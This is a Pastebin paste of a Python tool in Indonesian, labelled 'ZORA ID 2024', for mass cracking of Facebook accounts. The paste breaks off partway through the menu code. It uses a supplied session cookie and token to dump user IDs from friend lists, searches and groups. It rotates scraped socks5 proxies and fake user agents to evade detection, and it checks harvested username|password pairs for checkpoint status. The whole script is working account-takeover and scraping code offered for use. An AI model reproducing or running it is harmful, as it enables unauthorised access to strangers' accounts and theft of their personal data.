Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ----[ CREATE BY ZORA ID 2024 ]---- #
- ME = '\x1b[1;91m' # MERAH
- HU = '\x1b[1;92m' # HIJAU
- KG = '\x1b[1;93m' # KUNING
- BU = '\x1b[1;94m' # BIRU
- UU = '\x1b[1;95m' # UNGU
- DT = '\x1b[0m' # DEFAULT
- try:
- import os, re, sys, json, time, random, requests, datetime, bs4, uuid, base64, string, urllib, hashlib, subprocess
- from rich.console import Console
- from rich.columns import Columns
- from rich.tree import Tree
- from rich.panel import Panel
- from rich import print as printz
- from concurrent.futures import ThreadPoolExecutor
- from token_eaat import GenerateEAAT
- from banner import Terminal
- except(Exception, KeyboardInterrupt) as e:
- try:
- from urllib.parse import quote
- __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
- exit()
- except(Exception, KeyboardInterrupt) as e:
- from urllib.parse import quote
- __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
- exit()
- data, data2 = {},{}
- bs = bs4.BeautifulSoup
- dump, proxies, active, inactive, deleted = [],[],[],[],[]
- class Requ:
- def __init_(self) -> None:
- pass
- def payload(self, curl):
- self.payload = {
- 'av': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
- '__user': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
- '__a':'1',
- '__req': 'h',
- '__hs': re.search('"haste_session":"(.*?)"', str(curl)).group(1),
- 'dpr': '2',
- '__ccg': re.search('"connectionClass":"(.*?)"',str(curl)).group(1),
- '__rev': re.search('{"consistency":{"rev":(\d+)}', str(curl)).group(1),
- '__s': '',
- '__hsi': re.search('"hsi":"(\d+)"', str(curl)).group(1),
- '__dyn': '',
- '__csr': '',
- '__comet_req': re.search('__comet_req=(\d+)', str(curl)).group(1),
- 'fb_dtsg': re.search('"DTSGInitialData",\[\],{"token":"(.*?)"}',str(curl)).group(1),
- 'jazoest': re.search('jazoest=(\d+)', str(curl)).group(1),
- 'lsd': re.search('"LSD",\[\],{"token":"(.*?)"',str(curl)).group(1),
- '__spin_r': re.search('"__spin_r":(\d+)', str(curl)).group(1),
- '__spin_b': re.search('"__spin_b":"(.*?)"',str(curl)).group(1),
- '__spin_t': re.search('"__spin_t":(\d+)', str(curl)).group(1),
- 'fb_api_caller_class': 'RelayModern'
- }
- return(self.payload)
- def headers_get(self):
- self.headers = {
- 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'Accept-Encoding':'gzip, deflate',
- 'Accept-Language':'en-US,en;q=0.9',
- 'Cache-Control':'max-age=0',
- 'Pragma':'akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no, akamai-x-get-request-id,akamai-x-get-nonces,akamai-x-get-client-ip,akamai-x-feo-trace',
- 'Sec-Ch-Prefers-Color-Scheme':'light',
- 'Sec-Ch-Ua':'','Sec-Ch-Ua-Full-Version-List':'',
- 'Sec-Ch-Ua-Mobile':'?0',
- 'Sec-Ch-Ua-Platform':'',
- 'Sec-Ch-Ua-Platform-Version':'',
- 'Sec-Fetch-Dest':'document',
- 'Sec-Fetch-Mode':'navigate',
- 'Sec-Fetch-Site':'same-origin',
- 'Sec-Fetch-User':'?1',
- 'Upgrade-Insecure-Requests':'1',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36','Viewport-Width':'924'
- }
- return(self.headers)
- def headers_post(self):
- self.headers = {
- 'Accept':'*/*',
- 'Accept-Encoding':'gzip, deflate',
- 'Accept-Language':'en-US,en;q=0.9',
- 'Content-Type':'application/x-www-form-urlencoded',
- 'Origin':'https://www.facebook.com',
- 'Sec-Ch-Prefers-Color-Scheme':'dark',
- 'Sec-Ch-Ua':'',
- 'Sec-Ch-Ua-Full-Version-List':'',
- 'Sec-Ch-Ua-Mobile':'?0',
- 'Sec-Ch-Ua-Model':'',
- 'Sec-Ch-Ua-Platform':'',
- 'Sec-Ch-Ua-Platform-Version':'',
- 'Sec-Fetch-Dest':'empty',
- 'Sec-Fetch-Mode':'cors',
- 'Sec-Fetch-Site':'same-origin',
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
- }
- return(self.headers)
- def bahasa(self, cookie):
- with requests.Session() as r:
- try:
- curl = r.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
- if "Apa yang Anda pikirkan sekarang" in curl: pass
- else:
- for z in curl.find_all("a",href=True):
- if "Tidak, Terima Kasih" in z.text:
- res = r.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie":cookie})
- par = bs(res.text,"html.parser")
- act = par.find("form",{"method":"post"})["action"]
- pat = {
- "fb_dtsg": re.search('name="fb_dtsg" value="(.*?)"', str(act.text)).group(1),
- "jazoest":re.search('name="jazoest" value="(.*?)"', str(act.text)).group(1),
- "submit": "OK, Gunakan Data"
- }
- pos = r.post("https://mbasic.facebook.com"+act,data=pat,cookies={"cookie": cookie})
- return pos
- except (Exception) as e: pass
- def GetFriends(self, cookie):
- with requests.Session() as r:
- try:
- resp = r.get('https://mbasic.facebook.com/profile.php?v=friends',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text
- if '"success":true' or 'Teman' not in str(resp):
- return re.search('>Teman (.*?)</h3>',str(resp)).group(1).split('(')[1].split(')')[-2]
- except (Exception) as e: return('Tidak Ada')
- def GetUltah(self, cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/profile.php?v=info',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- if '"success":true' or 'Tanggal Lahir' not in str(resp):
- ultah = resp.find(string=re.compile('Tanggal Lahir'))
- if ultah: return(ultah.find_next('div').text)
- else: return('tidak di ketahui')
- except (Exception) as e: return(None)
- def ApkActive(self,cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- for x in resp.find_all("h3"):
- if "Ditambahkan" in x.text: active.append(f"{DT}{str(x.text).replace('Ditambahkan',f' {HU}Ditambahkan')}{DT}")
- else: continue
- next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
- self.ApkActive(next,cookie)
- except (Exception) as e: pass
- def ApkInactive(self,cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- for x in resp.find_all("h3"):
- if "Kedaluwarsa" in x.text: inactive.append(f"{DT}{str(x.text).replace('Kedaluwarsa',f' {KG}Kedaluwarsa')}{DT}")
- else: continue
- next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
- self.ApkInactive(next,cookie)
- except (Exception) as e: pass
- def ApkDeleted(self,cookie):
- with requests.Session() as r:
- try:
- resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
- for x in resp.find_all("h3"):
- if "Dihapus" in x.text: deleted.append(f"{DT}{str(x.text).replace('Dihapus',f' {ME}Dihapus')}{DT}")
- else: continue
- next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
- self.ApkDeleted(next,cookie)
- except (Exception) as e: pass
- def ConvertName(self, User, cookie):
- with requests.Session() as r:
- if "me" in User or "100" in User:
- return User
- elif "https" in User or "facebook" in User:
- uid = User.split('/')[3]
- link = bs(r.get(f"https://mbasic.facebook.com/{uid}", cookies={'cookies':cookie[0]}).content, "html.parser")
- kut = link.find('a',string='Lainnya')
- return(str(kut['href']).split('=')[1].split('&')[0])
- else:
- link = bs(r.get(f"https://mbasic.facebook.com/{User}", cookies={'cookies':cookie[0]}).content, "html.parser")
- kut = link.find('a',string='Lainnya')
- return(str(kut['href']).split('=')[1].split('&')[0])
- def Socksku(self):
- with requests.Session() as r:
- try:
- response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
- for prox in response.splitlines():
- proxies.append(prox)
- return proxies
- except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()
- def useragent_fb(self):
- self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
- self.angka = random.choice(['01','02','03','04','05','06','07','08','09','10'])
- self.ubuntu = random.choice(['Ubuntu ','Ubuntu/','Ubuntu; ','Ubuntu-'])
- return(random.choice([
- f'Mozilla/5.0 (X11; {self.ubuntu}{random.randrange(10,22)}.{self.angka}; Linux {random.choice(["x86_64","i686"])}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/537.36',
- f'Mozilla/5.0 (X11; Linux {random.choice(["x86_64","i686"])}; {self.ubuntu}{random.randrange(10,22)}.{self.angka}; SUPER-ID) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Electron/{random.randint(1,9)}.{random.randint(1,20)} Safari/537.36 Slack_SSB/{random.randint(1,9)}.{random.randint(1,20)}'
- ]))
- def useragent_api(self):
- self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
- self.dev = random.choice(['ME171', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'ME371MG', 'K01N', 'K012', 'K00E', 'K019', 'K00Z', 'K00Z', 'K016', 'K016', 'K00G', 'K00G', 'K50IJ', 'ME172V', 'ME172V', 'ME172V', 'ME172V', 'K00F', 'K01E', 'K00R', 'K017', 'K013', 'K007', 'K01A', 'ASUS MeMO Pad 7', 'K015', 'K011', 'K00L', 'ME302C', 'ME302C', 'ME302C', 'AOSP on Duma', 'ME302KL', 'ME302KL', 'K00U', 'ME173X', 'ME173X', 'ME173X', 'ME173X', 'ASUS K00S', 'ME301T', 'ME301T', 'ME301T', 'PadFone', 'PadFone', 'PadFone 2', 'PadFone 2', 'PadFone T008', 'PadFone T008', 'PadFone T004', 'ASUS_T00E', 'PadFone T00C', 'Padfone t00c', 'PadFone T00C', 'ASUS_T00N', 'ASUS PadFone X', 'ASUS_T00T', 'ASUS_Z01QD', 'ZS600KL', 'ASUS_I001DE', 'ZS660KL', 'ASUS_I001DA', 'ASUS_I001DC', 'ZS660KL', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I005DA', 'ASUS_I005DC', 'ASUS_AI2201_C', 'ASUS_AI2201_D', 'ASUS_AI2201_F', 'ASUS_AI2203_D', 'ASUS_AI2203_C', 'ASUS_AI2203_B', 'ASUS TAB A8', 'Tinker Board', 'Tinker Board 2', 'Tinker Board S', 'TX201LA', 'TX201LA', 'K010', 'K018', 'K018', 'TF300T', 'ASUS Pad TF300T', 'K01B', 'K00C', 'K00C', 'ASUS XPad 10LTE', 'ASUS Z101', 'ASUS Z101 Prime', 'ASUS_Z008D', 'ASUS_Z00AD', 'Z00D', 'ASUS_Z00LD', 'ASUS_Z00ED', 'ASUS_Z00RD', 'ASUS ZenFone 2E', 'ASUS_Z012D', 'ZE520KL', 'ASUS_Z017D', 'ASUS_Z012DA', 'ASUS_Z017DA', 'ASUS_Z012S', 'ASUS_Z012DE', 'ASUS_Z01FD', 'ASUS_Z016S', 'ZS550KL', 'ASUS_Z01BD', 'ASUS_Z01BS', 'ZC551KL', 'ASUS_Z01BDB', 'ASUS_X00DDB', 'ASUS_X008D', 'ASUS_X00DDA', 'ZC553KL', 'ASUS_X008DB', 'ASUS_A001', 'ASUS_Z01HDA', 'ZE553KL', 'ASUS_X00LD', 'ASUS_Z01KDA', 'ASUS_Z01KS', 'ASUS_X00LDB', 'ASUS_T00I', 'ASUS_X00HD', 'ASUS_X00ID', 'ZC554KL', 'ASUS_X015D', 'ASUS_X015D', 'ASUS_Z01GS', 'ASUS_Z01GD', 'ASUS_X00LDA', 'ZD553KL', 'ASUS_Z01MD', 'ASUS_Z01MDA', 'ZD552KL', 'ASUS_X00QD', 'ASUS_X00QD', 'ASUS_T00J', 'ASUS_X00QSA', 'ZE620KL', 'ASUS_T00F', 'ASUS_T00F', 'ASUS_T00K', 'ASUS_X017DA', 'ASUS_T00P', 'ASUS_Z01RD', 'ASUS_Z01RD', 'Zenfone 5Z', 'ZS620KL', 'ASUS_T00G', 'ASUS_I01WD', 'ASUS_T00G', 'ASUS_Z002', 'ZS630KL', 'ASUS_I002D', 'ZS670KS', 'ZS671KS', 'ASUS_I006D', 'ASUS_I004D', 'ASUS_AI2202', 'ASUS_AI2202_B', 'ASUS_A002', 'ASUS_A002A', 'ASUS_Z007', 'ASUS_X00ADA', 'ASUS_X00BD', 'ASUS_X007D', 'ZB500KL', 'ASUS_Z00SD', 'ZB551KL', 'ASUS_L001', 'ZB500KG', 'ASUS_Z00VD', 'ASUS_X013DA', 'ASUS_X013D', 'ASUS_X014D', 'ASUS_X014D', 'ASUS_X013DB', 'G550KL', 'G550KL', 'G553KL', 'ASUS_Z00YD', 'ASUS_A007', 'ASUS_X00RD', 'G552KL', 'ASUS_Z010DD', 'ASUS_Z010DB', 'ASUS_Z010D', 'ASUS_Z010DA', 'ASUS_X00PD', 'ZB555KL', 'ASUS_X01AD', 'ZB633KL', 'ASUS_X018D', 'ASUS_X018DC', 'ASUS_X00TD', 'ASUS_X00TDB', 'ASUS_X00TDE', 'ZB602KL', 'ASUS_X01BDA', 'ASUS_A001D', 'ASUS_X002', 'ASUS_X003', 'ASUS_X003', 'ASUS_X550', 'ASUS_X00GD', 'ASUS_X005', 'ASUS_Z00UDB', 'ASUS_Z00UD', 'ASUS_A006', 'ASUS_A009', 'ASUS_Z00XS', 'P01T_1', 'P021', 'P00L', 'P00C', 'P028', 'P027', 'ASUS_P00I', 'P001', 'P008', 'ASUS_P00J', 'ASUS ZenWatch', 'ASUS ZenWatch 2'])
- return(f'Mozilla/5.0 (Linux; U; Android {random.randrange(10,13)}; {self.dev}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/13F69 [FBAN/MessengerKatana;FBAV/{self.ch};FBBV/{random.randrange(511111111,599999999)};FBDV/{self.dev};FBMD/ASUS;FBSN/IOS;FBSV/10;FBSS/2;FBCR/VerizoneShophe;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]')
- class Facebook:
- def __init__(self):
- self.requ = requests.Session()
- self.password_manual, self.password_manuale, self.masukan_sandi, self.masukan_sandine, self.daftar, self.sudah, self.opsi, self.uaman, self.uaku, self.ok, self.cp, self.lp = [],[],[],[],[],[],[],[],[],0,0,0
- self.dt = datetime.datetime.now()
- self.alt = ('Facebook-'+str(self.dt.year)+'.txt')
- self.kilo, self.kulo = [],[]
- self.chek_data()
- def deled_dst(self):
- try: os.system('rm -rf .data_fb.txt')
- except: pass
- GenerateEAAT().Cookies()
- def chek_data(self):
- if os.path.isfile('.data_fb.txt') is True:
- xxx = open('.data_fb.txt','r').read()
- cookie, token = xxx.split('|'), xxx.split('|')
- self.login_menu(cookie, token)
- else: self.deled_dst()
- def chek_info(self, cookie, token):
- with requests.Session() as r:
- try:
- response = r.get(f"https://graph.facebook.com/me?fields=id,name,birthday,gender&access_token={token[1]}", cookies = {'cookies':cookie[0]}).json()
- bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- bulan, tanggal, tahun = response['birthday'].split('/')
- return (response['id'],response['name'],f'{tanggal} {bulan_ttl[bulan]} {tahun}',response['gender'])
- except (KeyError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!.."); time.sleep(3)
- self.deled_dst()
- def login_menu(self,cookie, token):
- try: id, name, lahir, gender = self.chek_info(cookie, token)
- except (requests.exceptions.ConnectionError) as e:
- Terminal().Clear_Terminal()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Console().print("[bold grey50] ╰─> Terjadi Kesalahan, Koneksi Anda Error!!.."); time.sleep(3)
- self.chek_data()
- Terminal().Banner_Facebook()
- self.kulo.append(Panel(f'[bold green]•[bold white] User id [bold green]{id}\n[bold green]•[bold white] Username [bold green]{name}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- self.kulo.append(Panel(f'[bold green]•[bold white] Gender [bold green]{gender}\n[bold green]•[bold white] Lahir [bold green]{lahir}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
- Console().print(Columns(self.kulo))
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack id dari daftar teman [bold white][bold green]06[bold white]. Chek opsi checkpoint\n[bold white][bold green]02[bold white]. Crack id dari search uname\t[bold white][bold green]07[bold white]. Clone random email\n[bold white][bold green]03[bold white]. Crack id dari member group\t[bold white][bold green]08[bold white]. Chek result crack\n[bold white][bold green]04[bold white]. Crack id dari admin group\t[bold white][bold green]00[bold white].[bold red] Exit facebook\n[bold white][bold green]05[bold white]. Crack id dari file dump''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- query = Console().input("[bold grey50] ╰─> ")
- if query == '01' or query == '1':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Akun Facebook Target Pastikan Tidak Terkunci Atau Private, Ketik [bold green]me[bold white] Jika Ingin Dump Teman Sendiri, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 100000430704534,100000430704534[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Friends(self.username, cookie, token)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '02' or query == '2':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Target, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, fatimah[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Unlimited[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Nama(f'https://www.facebook.com/search/people/?q={self.username}'.replace(' ','+'), cookie, '')
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: print(e)
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '03' or query == '3':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Grup Facebook Grup Pastikan Tidak Terkunci Atau Private, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 322227862223869,489534719248261[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Member(self.username, cookie, '')
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '04' or query == '4':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Grup Facebook, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] ayam, kandang[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Dump_Admin(f'https://free.facebook.com/search/groups/?q={self.username}', cookie)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '05' or query == '5':
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan File Dump Anda Sesuai Tempat Menyimpan File Dump, Banyaknya File Dump Bisa Menggunakan Koma, Misalnya :[italic green] /sdcard/dump1.txt,/sdcard/dump2.txt[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Clone_Files(self.username)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '06' or query == '6':
- try: file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- Console().input("[bold grey50] ╰─> Tekan Enter!!")
- for buka in open('/sdcard/CP/'+str(files)).readlines():
- try:
- username, password = buka.split('|')[0], buka.split('|')[1]
- self.DetedtorChekpoint(username, password)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '07' or query == '7':
- try:
